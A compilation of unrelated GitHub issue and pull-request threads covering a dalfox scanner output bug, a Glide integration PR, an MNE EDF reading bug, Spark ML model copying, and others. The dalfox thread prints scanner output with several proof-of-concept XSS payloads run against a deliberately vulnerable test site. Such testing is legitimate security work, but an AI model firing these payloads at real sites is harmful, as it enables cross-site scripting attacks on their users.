From a quick look at the code, it appears that the root cause is that a Debian-derived distro is expected to have a Debian codename as the VERSION_CODENAME in /etc/os-release. LMDE, however, is more like their Ubuntu-based counterpart in that they put the debian version in a DEBIAN_CODENAME variable in /etc/os-release.

I have the same issue running Debian Bookworm.


Inconsistent output

Describe the bug
I've been running dalfox on the same URL over and over again, here are the results:
$ dalfox --silence url http://testphp.vulnweb.com/listproducts.php --format json --worker 50
[
{"type":"G","inject_type":"BUILTIN","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?pleasedonthaveanamelikethis_plz_plz=DalFox","param":"","payload":"DalFox","evidence":"","cwe":"","severity":"Low","message_id":3,"message_str":"Found dalfox-error-mysql2 via built-in grepping / payload: DalFox"},
{"type":"V","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CdETAILS%250aopen%250aonToGgle%250a%3D%250aa%3Dprompt%2Ca%28%29+class%3Ddalfox%3E","param":"cat","payload":"\u003cdETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox\u003e","evidence":"48 line:  yntax to use near '=\u003cdETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox\u003e'","cwe":"CWE-79","severity":"High","message_id":219,"message_str":"Triggered XSS Payload (found DOM Object): cat=\u003cdETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox\u003e"},
{}]

$ dalfox --silence url http://testphp.vulnweb.com/listproducts.php --format json --worker 50
[
{"type":"G","inject_type":"BUILTIN","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php","param":"","payload":"","evidence":"","cwe":"","severity":"Low","message_id":2,"message_str":"Found dalfox-error-mysql2 via built-in grepping / original request"},
{"type":"R","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CiFrAme%2Fsrc%3DjaVascRipt%3Aprint%281%29%3E%3C%2FiFramE%3E","param":"cat","payload":"\u003ciFrAme/src=jaVascRipt:print(1)\u003e\u003c/iFramE\u003e","evidence":"48 line:  yntax to use near '=\u003ciFrAme/src=jaVascRipt:print(1)\u003e\u003c/iFramE\u003e' at line 1","cwe":"CWE-79","severity":"Medium","message_id":351,"message_str":"Reflected Payload in HTML: cat=\u003ciFrAme/src=jaVascRipt:print(1)\u003e\u003c/iFramE\u003e"},
{"type":"V","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CiFrAme%2Fsrc%3DjaVascRipt%3Aconfirm%281%29+class%3Ddalfox%3E%3C%2FiFramE%3E","param":"cat","payload":"\u003ciFrAme/src=jaVascRipt:confirm(1) class=dalfox\u003e\u003c/iFramE\u003e","evidence":"48 line:  yntax to use near '=\u003ciFrAme/src=jaVascRipt:confirm(1) class=dalfox\u003e\u003c/iFramE\u003e' at","cwe":"CWE-79","severity":"High","message_id":275,"message_str":"Triggered XSS Payload (found DOM Object): cat=\u003ciFrAme/src=jaVascRipt:confirm(1) class=dalfox\u003e\u003c/iFramE\u003e"},
{}]

$ dalfox --silence url http://testphp.vulnweb.com/listproducts.php --format json --worker 50
[
{"type":"G","inject_type":"BUILTIN","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php","param":"","payload":"","evidence":"","cwe":"","severity":"Low","message_id":2,"message_str":"Found dalfox-error-mysql2 via built-in grepping / original request"},
{"type":"R","inject_type":"inHTML-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%22%3E%3CSvg%2Fonload%3Dalert%281%29+class%3Ddlafox%3E","param":"cat","payload":"\"\u003e\u003cSvg/onload=alert(1) class=dlafox\u003e","evidence":"48 line:  syntax to use near '\"\u003e\u003cSvg/onload=alert(1) class=dlafox\u003e' at line 1","cwe":"CWE-79","severity":"Medium","message_id":435,"message_str":"Reflected Payload in HTML: cat=\"\u003e\u003cSvg/onload=alert(1) class=dlafox\u003e"},
{"type":"V","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CScRipt+class%3Ddalfox%3Eprompt.valueOf%28%29%281%29%3C%2Fscript%3E","param":"cat","payload":"\u003cScRipt class=dalfox\u003eprompt.valueOf()(1)\u003c/script\u003e","evidence":"48 line:  yntax to use near '=\u003cScRipt class=dalfox\u003eprompt.valueOf()(1)\u003c/script\u003e' at line 1","cwe":"CWE-79","severity":"High","message_id":187,"message_str":"Triggered XSS Payload (found DOM Object): cat=\u003cScRipt class=dalfox\u003eprompt.valueOf()(1)\u003c/script\u003e"},
{}]

$ dalfox --silence url http://testphp.vulnweb.com/listproducts.php --format json --worker 50
[
{"type":"G","inject_type":"BUILTIN","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php","param":"","payload":"","evidence":"","cwe":"","severity":"Low","message_id":2,"message_str":"Found dalfox-error-mysql2 via built-in grepping / original request"},
{"type":"R","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CiFrAme%2Fsrc%3DjaVascRipt%3Aalert.bind%28%29%281%29%3E%3C%2FiFramE%3E","param":"cat","payload":"\u003ciFrAme/src=jaVascRipt:alert.bind()(1)\u003e\u003c/iFramE\u003e","evidence":"48 line:  yntax to use near '=\u003ciFrAme/src=jaVascRipt:alert.bind()(1)\u003e\u003c/iFramE\u003e' at line 1","cwe":"CWE-79","severity":"Medium","message_id":343,"message_str":"Reflected Payload in HTML: cat=\u003ciFrAme/src=jaVascRipt:alert.bind()(1)\u003e\u003c/iFramE\u003e"},
{"type":"V","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CsVg%2Fonload%3Dprompt.valueOf%28%29%281%29+class%3Ddalfox%3E","param":"cat","payload":"\u003csVg/onload=prompt.valueOf()(1) class=dalfox\u003e","evidence":"48 line:  yntax to use near '=\u003csVg/onload=prompt.valueOf()(1) class=dalfox\u003e' at line 1","cwe":"CWE-79","severity":"High","message_id":163,"message_str":"Triggered XSS Payload (found DOM Object): cat=\u003csVg/onload=prompt.valueOf()(1) class=dalfox\u003e"},
{}]

$ dalfox --silence url http://testphp.vulnweb.com/listproducts.php --format json --worker 50
[
{"type":"G","inject_type":"BUILTIN","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php","param":"","payload":"","evidence":"","cwe":"","severity":"Low","message_id":2,"message_str":"Found dalfox-error-mysql2 via built-in grepping / original request"},
{"type":"V","inject_type":"inHTML-none(1)-URL","poc_type":"plain","method":"GET","data":"http://testphp.vulnweb.com/listproducts.php?cat=%3CScRipt+class%3Ddalfox%3Econfirm%281%29%3C%2Fscript%3E","param":"cat","payload":"\u003cScRipt class=dalfox\u003econfirm(1)\u003c/script\u003e","evidence":"48 line:  yntax to use near '=\u003cScRipt class=dalfox\u003econfirm(1)\u003c/script\u003e' at line 1","cwe":"CWE-79","severity":"High","message_id":175,"message_str":"Triggered XSS Payload (found DOM Object): cat=\u003cScRipt class=dalfox\u003econfirm(1)\u003c/script\u003e"},
{}]

As you can see, the reflected XSS does not show up across all the runs. Any ideas why ?
Environment

Dalfox Version: latest
Installed from: go install -v github.com/hahwul/dalfox/v2@latest

Hi @ocervell
Dalfox does not output R type if the vulnerability is identified as V type. Looking at the information you sent, it seems that all V types are included.

The reason why the R type is not printed when checking with V type is to prevent indiscriminate R output. Sometimes, Although it is a V type, the R output is caused by fast concurrency processing.

R: Found payload reflection.
V: DOM Parser, Headless Browser confirms that actual attack code is likely to be injected and executed

In most cases, the V Type check is preceded by the R Type check.


Added Pull Request Template

Resolves issue #91
Created Pull Request Template so it is easier for maintainers of the project to review PR and make sure that no PR is submitted without proper description.

@J0SAL, please review it.

@Abhijit25Mishra can you review this

Sure

Make your PR title specific (if possible)
Update your PR template like this:

Fixes: #99
Description:
Attach Screenshots (if needed)

@DivyanshiNarang Looks good, Thanks!


Glide integration

Given the simplicity of features in this library I found it simple to add glide server integration. Given glide popularity I believe it is worth to be available out of the box.
It is implemented by UrlBuilderGlideUrlFeature, which takes Glide own UrlBuilder as an argument and uses it to generate URLs for images (with URL signing when configured and all that stuff).
Usage is as simple as calling $image->glideUrl(['w' => 100, 'h' => 100]).
I chose to add a new method because it is beneficial to be able to call both url() and glideUrl() on the same image and get different results (path to original image versus path to "glided" image).

Excellent! Glide integration was indeed on my radar.
One thing I'd like to do is make this feature more generic. Here's what I'm thinking:
namespace Zenstruck\Filesystem\Feature;

use Zenstruck\Filesystem\Node\File\Image;
use Zenstruck\Uri;

interface ImageTransformationUrl
{
    public function imageTransformationUrlFor(Image $file, mixed $options = []): Uri;
}

Then in Zenstruck\Filesystem\Node\File\Image, we'll add a generic transformationUrl() method.
My reasoning here is there are several implementations we could have:

Glide (this PR)
Route - some custom route that does your own thing (I use this in my app along with Imagine)
Cloudinary (cloud based image transformation service)
Imgix (similar to Cloudinary)

I wouldn't want to have a new Image::*url() for every implementation.
WDYT?
BTW, is transformation the best term to use here?

I'm not super familiar with Glide but one thing that I think we'd need as well is some kind of Filesystem<->Glide bridge to be able to use Zenstruck\Filesystem's with glide. Not sure how this would work yet.

I'm not super familiar with Glide but one thing that I think we'd need as well is some kind of Filesystem<->Glide bridge to be able to use Zenstruck\Filesystem's with glide. Not sure how this would work yet.

I think we actually don't. Glide is already built on top of Flysystem and requires configuration by it's own. And when it's configured all that we need is an instance of UrlBuilder to work with it.
About making this feature more generic - I'm all in :D this is somehow on par with image manipulation interface I have in my mind right now (expect PR soon :wink: ).
And about the naming. I would love for this to be short, because long method names look weird in Twig templates to me. How about calling it "thumbnailers" and use thumbUrl on image class? Those transformators are way more powerful than just thumbnailing, yet this is the main usage for them.

I think we actually don't. Glide is already built on top of Flysystem and requires configuration by it's own. And when it's configured all that we need is an instance of UrlBuilder to work with it.

But this would require configuring flysystem twice, no? Once for glide and once for this library.

And about the naming. I would love for this to be short, because long method names look weird in Twig templates to me. How about calling it "thumbnailers" and use thumbUrl on image class? Those transformators are way more powerful than just thumbnailing, yet this is the main usage for them.

I think I'd still like to call the feature interface ImageTransformationUrl or maybe TransformImageUrl then maybe Image::transformUrl() is a bit shorter? I'd be fine with a second alias method of thumbUrl() - you're right, it is the most common usage.
(naming stuff well is an obsession of mine - maybe a sickness tbh...)

I'm all in :D this is somehow on par with image manipulation interface I have in my mind right now

Did you take a look at #15? I'd really like to have this library able to transform the images itself (using Imagine or Intervention - they are the most popular libraries I think).
I was thinking something like:
$image = $filesystem->image('some/image.png)
    ->transform(function(ImagineImage|IterventionImage $image): ImagineImage|IterventionImage {
        return $image->transformation1()->transformation2();
    })
;

$image; // ?? \SplFileInfo

My idea was this transform() method would return an SplFileInfo that can be written to a filesystem. @weaverryan expressed some concern that it could be unexpected that it return an SplFileInfo object and not manipulate the image in place on the filesystem. I agree but at the same time, I don't think we want to manipulate the image in-place... Or if we do, another method that does that. We'd want a way to create multiple manipulated images from a base image.

I have made changes to the feature and classes names as suggested. Hopefully they are generic enough right now :) I didn't change Sf bridge configuration for now as I'm unsure on how to get this right, so input welcome :)

But this would require configuring flysystem twice, no? Once for glide and once for this library.

The way I see using this lib, flysystem and glide it does not, but maybe I'm missing something. I see all of those working in a tandem like this:

Flysystem is integrated in the project by flysystem-bundle and this is where all flysystem-specific configuration goes (maybe we should add it to suggested in composer for better Symfony integration?)
Glide is configured in an endpoint (regular Sf controller) that auto-wires required Flysystem adapters by the bundle and configures Glide as desired.
Glide own UrlBuilder needs minimal setup (which most projects probably do already), like this one:

$services->set(UrlBuilder::class)
             ->factory([UrlBuilderFactory::class, 'create'])
             ->arg('$baseUrl', 'https://%domain.img%/')
    ;

This library configures filesystems based on adapters already configured by flysystem-bundle.

This library configures filesystems based on adapters already configured by flysystem-bundle.

Ah, ok, I understand now. My intention was to have this library/bundle as an alternative to flysystem-bundle but didn't like that it was required to choose one or the other.
That being said, this bundle can be used standalone but I will look into how we can better integrate with flysystem-bundle (#53).

I have made changes to the feature and classes names as suggested. Hopefully they are generic enough right now :) I didn't change Sf bridge configuration for now as I'm unsure on how to get this right, so input welcome :)

I think the current configuration is fine, assuming we have good integration with flysystem-bundle. I do still think there should be a possibility of using this bundle and glide standalone. Something like:
zenstruck_filesystem:
    filesystems:
        images: 'some.dsn'
        glide.cache: 'some.dsn'

    glide_server:
        source: images # filesystem name from above
        cache: glide.cache # filesystem name from above
        # ... other ServerFactory options

Basically create the ServerFactory service Maybe this live.
But I'll save this for later.

BTW, don't worry about getting bogged down fixing failing sca/cs jobs. Tests pass so that's fine.

Let's drop the wiring in the Symfony bundle for now. Once we have more implementations of this feature available, we can re-evaluate how it should be configured.
My plan is to have a features config for each filesystem to add whatever you want and act as an escape hatch for adding this without an explicit config option:
zenstruck_filesystem:
    filesystems:
        public:
            dsn: ...
            features:
                Zenstruck\Filesystem\Feature\TransformImageUrl: some.service

I am closing this in favor of #79


Clicking Venn diagram intersection and on histogram column (or vice versa) does not filter Error Instances table by both choices

Repro steps:

Open any of the MNIST example notebooks (or the dev harness), perform sweep.
Click on any data point on the scatter plots
Click on a column on the histogram (e.g. 4) and then on an intersection on the Venn diagram (e.g. progress.)
The error instances table only filters by progress instances.

Expected outcome: The error instances table filters both by class (4) and model error type (progress.)
Note: If a user clicks first on the Venn diagram intersection then on the histogram column it should have the same effect (filtering by both choices.)
Example: On the image below, we'd expect to see Progress instances for only class 4, but we only see progress instances.

@jlema I think we discussed this earlier. I do not think that it makes sense to combine these filters. Here is the reason:

The Venn diagram is explicitly across all classes.
The Bar chart is per class.

I think what you intend here is rather that clicking on the Venn diagram should unset the selection on the bar chart.
And clicking on the bar chart should unset the selection on the Venn diagram.


Create docs for adding new translations to identity apps

Is your suggestion related to an experience ? Please describe.

Improve dev docs
Describe the improvement

Currently, there is no document that explains how to add a new translation to identity apps. If we had such a guide, we can point contributors who are interested in providing new translations to that doc.
Additional context

https://github.com/wso2/identity-apps/pull/4117

This issue is being closed due to extended inactivity. Please feel free to reopen it if further attention is needed. Thank you for helping us keep the issue list relevant and focused!


screener-storybook should be a devDep

I think screener-storybook should be a dev dep, based on the description of the package.

good find @vicapow , thanks


Create privacy page

As a uipa user, I want to seek out a privacy page to find more about uipa.org will use my data.
This should be done in the uipa admin, then scripted out. Point the flatpage to help/page.html. See Flatpages docs and this commit for more information.
Acceptance:
A privacy page.
Comment: Should probably research a few first before doing this.

Waiting on Brian.

This has been completed by @russtoku


infra-host golden tags and metrics update

Added all golden tags as per guidelines for cloud entities.
Added network traffic metric (to complete n=4 recommended golden metrics)
Checklist

[ ] I've read the guidelines and understand the acceptance criteria.
[ ] The value of the attribute marked as identifier will be unique and valid.
[ ] I've confirmed that my entity type wasn't already defined. If it is I'm providing an
explanation above.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Minor update to the nginx config

The following line in the Nginx config
https://github.com/tiredofit/docker-freescout/blob/73ff9c8efbfa3e3923410e6782be75d0d8b482da/install/etc/nginx/sites.available/freescout.conf#L34 need to be changed to
add_header Content-disposition "attachment; filename=$2";

More info: https://github.com/freescout-helpdesk/freescout/issues/3428#issuecomment-1760821126

Already updated.


Remove a couple of closures in the src/display/api.js file

Please refer to the individual commit messages for additional details.
Also, note that this patch-series still leaves the PDFWorkerClosure intact. The reason is partly that the code is less straightforward to re-factor in this way, and more importantly that PDFWorker is exposed in the public API and I really didn't want to accidentally make any internal state visible to the outside. This could possibly be improved upon if/when we've started using static class fields (currently blocked on ESLint support).

/botio test

Thanks!


ml_linear_regression regression weights

Can we add a regression weights parameter to ml_linear_regression, similar to the weights parameter in lm() in the base R package?

It looks like the Spark APIs here do allow users to set a 'weight' column; I'll have to see if this maps as we expect to R's lm weights argument.

Here's how I did it, as I commented on SO. I added weightCol parameter to the function, and invoked Spark's setWeightCol within the function, if weightCol is not null. I don't know if you'd do it differently, but it works and in a number of tests I ran, the results mirror those of R base lm.
Here's the couple of changes.
Function definition.
ml_linear_regression_w <- function (x, response, features, intercept = TRUE, alpha = 0,
	lambda = 0, iter.max = 100L, ml.options = ml_options(), weightCol = NULL,
	...)

And invoke setWeightCol
	if (!is.null(weightCol))
			model <- model %>% invoke("setWeightCol", as.character(weightCol))

@hcasas1981 Awesome! Couple suggestions:

Call ensure_scalar_character on the input

Use weights_column to be consistent with naming of arguments throughout package

Btw here's the SO http://stackoverflow.com/q/43669693/2835778... and just in case, don't confuse me with @kevinushey; I'm not a wizard :P


Deviating values while reading data from EDF and BrainVision formats

Hi!
I am currently building a BIDS Docker App that takes three iEEG data formats: MEF3, EDF and BrainVision. In order to read the EDF and Brainvision formats I am using MNE-tools (mne-python, latest stable version 0.19.2) in Python 3.8.
To test the reading of data in Python I converted one dataset into all three formats. While being successful at loading each of the data formats into python, the raw data values coming from MNE seem to differ (see the attached image below):

The raw values that MNE returns from the Brainvision format seem to be the correct values but scaled down
The raw values that MNE returns from the EDF format are partial correct, but are wrong on values below 0.

The mne.io.read_raw_edf and mne.io.read_raw_brainvision functions were used to read the data and I retrieved the raw values using the methods described here:
https://mne.tools/dev/auto_tutorials/raw/plot_10_raw_overview.html#extracting-data-from-raw-objects
In order to see if the cause was not in the data files, I tried two other methods to read the data:

I read the exact same data files in Matlab using the Fieldtrip package and there the BrainVision and EDF did show the correct values.
I used another Python EDF reader (PyEdfLib), which also gave the correct values.

These led me to believe it is something MNE reader, rather than something in the data.
I am not sure whether there is a conversion or data casting step in the reading of the raw data that I am missing? Or whether this could be a bug in the MNE reading function?
@jasmainak @dorahermes
Hope you can help. If more information is needed, then please let me know...
Thanks in advance,
Max

Attached, results using different readers:

@MaxvandenBoom can you share an EDF file privately so we can debug this. Could be a silly bug in Edf reader.

@MaxvandenBoom to me it looks like the BrainVision format is OK, it's just off by a factor of 1e6. MNE-Python always converts EEG data into Volts when reading, even if the value in the data container was in μV. The EDF values does look like a bug though.

(for more info about unit conversion in MNE-Python, see here: https://mne.tools/dev/overview/implementation.html#internal-representation-units)

@MaxvandenBoom can you explain how you converted your data to the three file formats? What format was the data originally in?

Interesting, I just wanted to add that the EDF values differ from the MEF3 and BrainVision even with PyEDFlib and FieldTrip. It looks like something funky going on either with the data type and/or with the scaling.
Either way, as others have already noted, we need all files as well as details on how you created these files.

For BrainVision: Thank you guys for resolving the BrainVision difference, this is super helpful!
For EDF: I wrote these files to EDF and BrainVision using Fieldtrip, but there seems already a difference between the written .edf and the original data, even if loaded in Fieldtrip, so this is not due to MNE Python (these data might actually be >16 bit, I'll check on our end).
General question: Does anyone know of an already existing standard dataset that exists in EDF and BrainVision that we could test for the Docker/BIDS App? It would be great to have an example testset for BIDS app development, we'll try to make one if not.

we have some tiny date used for testing here:
https://github.com/mne-tools/mne-testing-data/tree/master/
https://github.com/mne-tools/mne-testing-data/tree/master/EDF
mne has tests for IO on all these files. What would the app do?

That's awesome, thank you!
The app will do an automated detection of early onsets in cortico-cortical evoked potential (CCEP) data. @MaxvandenBoom is making sure first that all the BIDS data formats can be read correctly and the units make sense.

great
can you share the repo of where you plan to put this code? you'll be using
brainlife.io ?

It's still under development, but we'll be putting the N1 detection on my lab's gitHub site:
https://github.com/MultimodalNeuroimagingLab

thanks for sharing. Let us know how it goes and if we can help in some way.

@agramfort @dorahermes
I tried the BrainVision and EDF dataset you suggested from https://github.com/mne-tools/mne-testing-data/tree/master/

The BrainVision data was read correctly given drammock's explanation
The EDF data has the same bug with negative values. I read the file \EDF\test_edf_stim_resamp.edf using MNE, pyEDFlib and Fieldtrip. The results are shown in the attached image below.

This is the code I used in Python:
from mne.io import read_raw_edf, read_raw_brainvision
from pyedflib import EdfReader

# read the edf data using MNE
mne_edf = read_raw_edf('D:\mne-testing-data-master\mne-testing-data-master\EDF\\test_edf_overlapping_annotations.edf', eog=None, misc=None, stim_channel=False, preload=True, verbose=None)
mne_vals = mne_edf[0, 0:20][0]

# read the edf data using pyedflib
lib_edf = EdfReader('D:\mne-testing-data-master\mne-testing-data-master\EDF\\test_edf_overlapping_annotations.edf')
lib_vals = lib_edf.readSignal(0)[0:20]

This is the code I used in Matlab:
edf_data = ft_read_data('D:\mne-testing-data-master\mne-testing-data-master\EDF\test_edf_overlapping_annotations.edf');
edf_vals = edf_data(1, 1:20)

So I think you were right and it might be some silly bug in the MNE edf reader... Also, should the EDF internal values be in Volts?

This appears to be due to doing stim_channel=False, which gets interpreted as stim_channel=0, i.e., the first channel is treated as STIM and hence non-negative/unsigned.

... which is because of this:
 isinstance(False, int)

Note that this is not documented behavior (bool is not in the docstring of accepted values), but we can at least add some aliases to avoid this.

That explains it and I am getting the expected results now. Thank you all for your help!


[SPARK-18276][ML] ML models should copy the training summary and set parent

What changes were proposed in this pull request?
Only some of the models which contain a training summary currently set the summaries in the copy method. Linear/Logistic regression do, GLR, GMM, KM, and BKM do not. Additionally, these copy methods did not set the parent pointer of the copied model. This patch modifies the copy methods of the four models mentioned above to copy the training summary and set the parent.
How was this patch tested?
Add unit tests in Linear/Logistic/GeneralizedLinear regression and GaussianMixture/KMeans/BisectingKMeans to check the parent pointer of the copied model and check that the copied model has a summary.

@yanboliang mind having a look?

Test build #68158 has started for PR 15773 at commit 6bb2871.

Test build #68159 has started for PR 15773 at commit c4da811.

Test build #68158 has finished for PR 15773 at commit 6bb2871.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/68158/
Test PASSed.

Test build #68159 has finished for PR 15773 at commit c4da811.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/68159/
Test PASSed.

Merged build finished. Test PASSed.

LGTM, merged into master and branch-2.1. Thanks!


deprecate totensor

current ToTensor version leads to a lot of questions. we have to deprecate it because it's bad

Would you be interested by the following ToTensor implementation :
class ToTensor(BasicTransform):

    def __init__(self):
        super(ToTensor, self).__init__(always_apply=True)

    @property
    def targets(self):
        return {
            'image': self.apply,
            'mask': self.apply_to_mask
        }

    def apply(self, img, **params):
        return torch.from_numpy(img.transpose(2, 0, 1))

    def apply_to_mask(self, mask, **params):
        return torch.from_numpy(mask)

looks good


Completely remove Profile#delete and #index actions.

As discussed with @hendraet IIRC.

Coverage decreased (-0.004%) to 98.961% when pulling 4432aea7f88abba415d4e2792661f46530d3caf7 on 186_2.14_remove_delete_action into 8fe7de229b527de797be0fa4eb2dd494604a4d36 on dev.

Coverage decreased (-0.004%) to 98.961% when pulling 4432aea on 186_2.14_remove_delete_action into 8fe7de2 on dev.

This was unrelated to the changes of the PR.


Can't nest properties and method calls

This is grammatical:
global.String.toString

This is ungrammatical:
global.String.toString()

They should both be grammatical.

Currently doing exploratory work on this one with a smaller unrelated Parsimmon file. I think the gist of it is I really need to treat function calls, method calls, property access, and method access as "operators", because just like the binary operators, they all start with ambiguous prefixes and need to be further scanned to discover their true nature.
Essentially we  have something like Expr (FnCall / PropGet / Add / Sub / Mul) / Expr and all the operators have their common prefix stripped.

I just spent like a day working on this and figured out how to do it. Essentially, the key is that foo.bar, foo[bar], and foo(bar) are all at the same precedence level, just like + and - or * and /, so they need to be parsed as such.
This Gist is a little broken but it's the work that led me to this realization


feat: (1) Solargraph Install & Configuration

Fixes #3761
Describe the changes you have made in this PR -

Install Solargraph
Configure Solargraph

Note: Please check Allow edits from maintainers. if you would like us to assist in the PR.

Looks absolutely great 😄  approving it right away. @vedant-jain03 please cross verify once with the implementation point of view


Disabling cookies / not working

where to add the code exactly?
(but HEAD is working fine)

Yes, same issue. Basic banner working very nicely but can't get the callback to work. Probably missing something obvious but even an example of the site would be useful...? Terrific work though!

Users must implement the blocking of the cookies themselves. We cannot know what cookies you use and thus that makes it hard for us to disable them for you.
We are currently working on a new plugin that is GDPR compliant and will disable your cookies automatically for you. We are still working on this

Users must implement the blocking of the cookies themselves. We cannot know what cookies you use and thus that makes it hard for us to disable them for you.

What you mean with blocking of the cookies is not clear to me. How can we disable a cookie that is sent from the server with every request? Shouldn't it be handled on the server side?
So when using cookieconsent, should I send a request to the server in the callback to let the backend know about the user has disabled the cookie?
What about third party cookies that we don't have control on?


RuntimeError: Placeholder storage has not been allocated on MPS device!

Hi,
I'm running this on MPS and getting the error RuntimeError: Placeholder storage has not been allocated on MPS device!
Is there any way to resolve this?
Thank you

Hi! It sounds like we are not properly placing some variable in the code onto the mps device with .to('mps') (source: https://discuss.pytorch.org/t/torch-embedding-fails-with-runtimeerror-placeholder-storage-has-not-been-allocated-on-mps-device/152124 )--could you provide a full error trace to help debug this?
I don't have access to an MPS device to test this, but if you share the location in the code this error appears, and the devices of the objects, if any, involved in that line of code, then that should be very helpful.


lists as textfields

First of all,
thanks for this precious tool, it works fine and it was very helpful for my application.
I would propose a little change on lists, which maybe would make things even more usable.
Elements in a list are shown as span elements. When the user needs to add/delete/modify a popup is opened with jquery-ui. The popup is not always the best solution, sometimes it's not nice, sometimes it can raise up troubles (for instance if the form is already in a popup box, then you must open the jquery dialog as a child of the popup box).
Maybe a good solution is not to show list elements as 'span' but as input fields with the 'delete' icon on the right. And when hitting the 'add' button, simply an input row is added.
Does it make sense?
good bye.
Daniele

I can see the advantages of this, but it sounds more like an alternative Editor for the same Field. It would also be independent of jQueryUI (and therefore work with Zepto) so I think it's a good feature. Do you have some working code?

Yeah, editors.Radio is currently being used as the base for the list based editors. I guess it might well borrow a fair amount from the current List, so it'd be nice to refactor them together too.

The list editor was made to handle lists of objects which is why it works with the popup, however it would be good to have a simpler list editor like you describe for when editing simple text strings; it's something I may add when I have a chance.

Hi Charles,
unfortunately now I don't have time to work on it.
But I think I'm going to do it in a short time.
I'll let you know if I begin this work so maybe you could give me some
hints, if you agree.
2012/1/25 Charles Davison
<EMAIL_ADDRESS>
The list editor was made to handle lists of objects which is why it works with the popup, however it would be good to have a simpler list editor like you describe for when editing simple text strings; it's something I may add when I have a chance.

Reply to this email directly or view it on GitHub:
https://github.com/powmedia/backbone-forms/issues/25#issuecomment-3660164

HI Charles,
I finally decided to work on this, it would be nice to get in contact
with you to exchange some ideas before I put my hands on it.
Would you be available? we can stay in contact by mail, twitter
(@DanieleBailo) or skype (danielebailo) or whatever... :-)
see you.
Daniele
2012/1/26 daniele bailo<EMAIL_ADDRESS>
Hi Charles,
unfortunately now I don't have time to work on it.
But I think I'm going to do it in a short time.
I'll let you know if I begin this work so maybe you could give me some
hints, if you agree.
2012/1/25 Charles Davison
<EMAIL_ADDRESS>
The list editor was made to handle lists of objects which is why it works with the popup, however it would be good to have a simpler list editor like you describe for when editing simple text strings; it's something I may add when I have a chance.

Reply to this email directly or view it on GitHub:
https://github.com/powmedia/backbone-forms/issues/25#issuecomment-3660164


Ensure https is shown in code block in documentation

Summary
Having an URL in a code block without \https will be rendered as a link in a browser  and not showing https://; thias leads to errors when copy pasting to the CLI while running the tutorial.
Checklist

[x] Keep pull requests small so they can be easily reviewed.
[ ] Categorize the PR by setting a good title and adding one of the labels:
bug, enhancement, documentation, change, breaking,
as they show up in the changelog
[x] Update the documentation.

@chloesoe Can you amend your commit so that DCO passes?


VS CODE not running my code

This issue has been moved from a ticket on Developer Community.

I wrote a python code on VS CODE and then I ran it but this error   engine = pyttsx3.init()
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\pyttsx3_init_.py", line 22, in init
eng = Engine(driverName, debug)
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\pyttsx3\engine.py", line 30, in init
self.proxy = driver. DriverProxy(weakref.proxy(self), driverName, debug)
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\pyttsx3\driver.py", line 50, in init
self.module = importlib.import_module(name)
File "C:\Program Files\Python39\lib\importlib_init.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1030, in _gcd_import
File "", line 1007, in find_and_load
File "", line 986, in find_and_load_unlocked
File "", line 680, in load_unlocked
File "", line 790, in exec_module
File "", line 228, in call_with_frames_removed
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\pyttsx3\drivers\sapi5.py", line 1, in
import comtypes.client  # Importing comtypes.client will make the gen subpackage
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\comtypes_init.py", line 1176, in
class IPersist(IUnknown):
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\comtypes_init.py", line 1180, in IPersist
COMMETHOD([], HRESULT, 'GetClassID',
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\comtypes_init.py", line 1099, in COMMETHOD
from comtypes.automation import VARIANT
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\comtypes\automation.py", line 12, in
from comtypes import npsupport
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\comtypes\npsupport.py", line 5, in
import numpy
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\numpy_init.py", line 305, in
win_os_check()
File "C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\numpy_init.py", line 302, in _win_os_check
raise RuntimeError(msg.format(file)) from None
RuntimeError: The current Numpy installation ('C:\Users\Anvit\AppData\Roaming\Python\Python39\site-packages\numpy\init.py') fails to pass a sanity check due to a bug in the windows runtime. See this issue for more information: https://tinyurl.com/y3dm3h86

Original Comments
Feedback Bot on 2/1/2021, 11:12 PM:
